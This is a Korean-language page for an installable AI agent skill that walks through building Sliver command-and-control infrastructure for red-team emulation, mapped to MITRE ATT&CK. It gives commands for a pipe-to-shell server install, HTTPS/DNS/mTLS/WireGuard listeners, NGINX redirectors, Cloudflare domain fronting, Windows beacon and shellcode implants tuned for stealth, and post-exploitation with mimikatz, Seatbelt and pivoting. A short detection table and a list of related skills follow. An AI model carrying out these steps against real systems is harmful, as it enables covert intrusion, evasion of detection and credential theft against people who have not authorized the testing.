Communitygithub.com

Sliver 프레임워크를 활용한 C2 인프라 구축

BishopFox의 Sliver C2 팀 서버를 배포하고 강화하여, 다중 프로토콜 지원 및 리다이렉터, 도메인 프론팅을 통한 운영 보안을 갖춘 적대적 에뮬레이션 인프라를 구축합니다.

Sliver 프레임워크를 활용한 C2 인프라 구축란 무엇인가요?

이 스킬은 BishopFox에서 개발한 오픈소스 크로스플랫폼 적대적 에뮬레이션 프레임워크인 Sliver를 사용하여 C2 인프라를 구축하고 강화하는 방법을 제공합니다. Sliver는 mTLS, HTTP/S, DNS, WireGuard 등 다양한 프로토콜을 지원하며, 비콘(비동기) 및 세션(대화형) 모드를 모두 제공하여 장기 작전과 대화형 익스플로잇에 모두 적합합니다. 이 스킬은 팀 서버 배포, 리스너 구성, NGINX 또는 Apache 리다이렉터 설정, Cloudflare 기반 도메인 프론팅, 다중 운영자 인증, 그리고 MITRE ATT&CK 매핑을 포함한 포스트 익스플로잇 작업까지 다룹니다. Linux, macOS, Windows를 지원하며, 운영 보안을 위해 SSL 인증서, 방화벽 규칙, 비콘 지터 설정을 포함한 모범 사례를 안내합니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/building-c2-infrastructure-with-sliver-framework

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

Sliver 프레임워크를 활용한 C2 인프라 구축은(는) 무엇을 하나요?

개요

Sliver는 BishopFox가 개발하고 Go로 작성된 오픈소스 크로스플랫폼 적대적 에뮬레이션 프레임워크입니다. 레드 팀에 임플란트 생성, 다중 프로토콜 C2 채널(mTLS, HTTP/S, DNS, WireGuard), 다중 운영자 지원, 그리고 광범위한 포스트 익스플로잇 기능을 제공합니다. Sliver는 비콘(비동기) 및 세션(대화형) 모드를 지원하여 장기 작전과 대화형 익스플로잇 모두에 적합합니다. 적절하게 설계된 Sliver 인프라는 리다이렉터, 도메인 프론팅, HTTPS 인증서를 사용하여 운영 탄력성을 유지하고 탐지를 회피합니다.

사용 시기

  • 환경에 C2 인프라 구축 기능을 배포하거나 구성할 때
  • 규정 준수 요구 사항에 맞춰 보안 제어를 수립할 때
  • 이 도메인에 대한 보안 아키텍처를 구축하거나 개선할 때
  • 이 구현이 필요한 보안 평가를 수행할 때

사전 요구 사항

  • 레드 팀 개념 및 도구에 대한 familiarity
  • 안전한 실행을 위한 테스트 또는 랩 환경 접근
  • Python 3.8+ 및 필요한 종속성 설치
  • 모든 테스트 활동에 대한 적절한 권한

목표

  • 강화된 클라우드 인프라에 Sliver 팀 서버 배포
  • HTTPS, mTLS, DNS, WireGuard 리스너 구성
  • 대상 플랫폼용 임플란트(비콘 및 세션) 생성
  • 임플란트와 팀 서버 간 NGINX 또는 Apache 리다이렉터 설정
  • 트래픽 난독화를 위한 Cloudflare 또는 CDN 기반 도메인 프론팅 구현
  • 인증서 기반 인증을 통한 다중 운영자 접근 구성
  • C2 통신을 위한 운영 보안 제어 수립

MITRE ATT&CK 매핑

  • T1071.001 - 애플리케이션 계층 프로토콜: 웹 프로토콜
  • T1071.004 - 애플리케이션 계층 프로토콜: DNS
  • T1573.002 - 암호화된 채널: 비대칭 암호화
  • T1090.002 - 프록시: 외부 프록시(리다이렉터)
  • T1105 - 침입 도구 전송
  • T1132.001 - 데이터 인코딩: 표준 인코딩
  • T1572 - 프로토콜 터널링

워크플로

1단계: 팀 서버 배포

  1. 팀 서버용 VPS 프로비저닝 (예: DigitalOcean, Linode, AWS EC2)
  2. OS 강화: SSH 비밀번호 인증 비활성화, UFW/iptables 구성, fail2ban 설치
  3. 공식 설치 스크립트를 사용하여 Sliver 설치:
    curl https://sliver.sh/install | sudo bash
    
  4. Sliver 서버 데몬 시작:
    systemctl start sliver
    # 대화형으로 실행
    sliver-server
    
  5. 팀 구성원용 운영자 구성 파일 생성:
    new-operator --name operator1 --lhost <team-server-ip>
    

2단계: 리스너 구성

  1. 합법적인 SSL 인증서로 HTTPS 리스너 구성:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. 폴백 C2용 DNS 리스너 구성:
    dns --domains c2dns.example.com --lport 53
    
  3. 고보안 세션용 mTLS 리스너 구성:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. 터널링된 접근용 WireGuard 리스너 구성:
    wg --lport 51820
    

3단계: 리다이렉터 설정

  1. 리다이렉터용 별도 VPS 배포 (대상과 팀 서버 사이에 위치)
  2. NGINX를 리버스 프록시로 설치 및 구성:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. 리다이렉터에서만 연결을 수락하도록 팀 서버에 iptables 규칙 구성:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. 선택적으로 리다이렉터 앞에 Cloudflare를 CDN 계층으로 설정하여 도메인 프론팅 구성

4단계: 임플란트 생성

  1. HTTPS 비콘 임플란트 생성:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. 제한된 네트워크용 DNS 비콘 생성:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. 인젝션용 셸코드 페이로드 생성:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. 비콘 지터 및 콜백 간격 구성:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    

5단계: 포스트 익스플로잇 작업

  1. 활성 비콘/세션과 상호 작용:
    beacons        # 활성 비콘 목록
    use <beacon-id> # 비콘과 상호 작용
    
  2. 포스트 익스플로잇 모듈 실행:
    ps              # 프로세스 목록
    netstat         # 네트워크 연결
    execute-assembly /path/to/Seatbelt.exe -group=all  # .NET 어셈블리 실행
    sideload /path/to/mimikatz.dll  # DLL 로드
    
  3. 내부 네트워크 접근을 위한 피벗 설정:
    pivots tcp --bind 0.0.0.0:9898  # 손상된 호스트에 피벗 리스너 생성
    
  4. 인메모리 실행을 위한 BOF(Beacon Object Files) 사용:
    armory install sa-ldapsearch  # Armory에서 설치
    sa-ldapsearch -- "(objectClass=user)"  # BOF 실행
    

도구 및 리소스

도구목적플랫폼
Sliver ServerC2 팀 서버 및 임플란트 관리Linux/macOS/Windows
Sliver Client팀 구성원용 운영자 콘솔크로스플랫폼
NGINX리다이렉터 및 리버스 프록시Linux
CertbotLet's Encrypt SSL 인증서 생성Linux
CloudflareCDN 및 도메인 프론팅클라우드
ArmorySliver 확장/BOF 패키지 관리자내장

탐지 시그니처

지표탐지 방법
기본 Sliver HTTP 헤더비정상적인 User-Agent 문자열에 대한 네트워크 트래픽 분석
비표준 포트의 mTLS비정상적인 포트로의 아웃바운드 연결에 대한 방화벽 로그
높은 엔트로피의 DNS TXT 레코드 쿼리인코딩된 C2 트래픽에 대한 DNS 로그 분석
포트 51820의 WireGuard UDP 트래픽WireGuard 핸드셰이크 패턴에 대한 네트워크 흐름 분석
Sliver 임플란트 파일 해시알려진 Sliver 샘플과의 EDR/AV 서명 매칭

검증 기준

  • 팀 서버가 방화벽 규칙으로 배포 및 강화됨
  • 유효한 SSL 인증서로 HTTPS 리스너 구성됨
  • 폴백 C2 채널로 DNS 리스너 구성됨
  • 대상과 팀 서버 사이에 최소 하나의 리다이렉터 배포됨
  • 고유 인증서로 다중 운영자 접근 구성됨
  • 대상 운영체제용 임플란트 생성됨
  • 은밀성을 위해 비콘 콜백 간격 및 지터 구성됨
  • 포스트 익스플로잇 모듈 테스트 완료 (프로세스 목록, .NET 어셈블리 실행)
  • 내부 네트워크 접근을 위한 피벗 기능 검증됨
  • 모든 C2 트래픽이 암호화되어 리다이렉터를 통과함

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

관련 스킬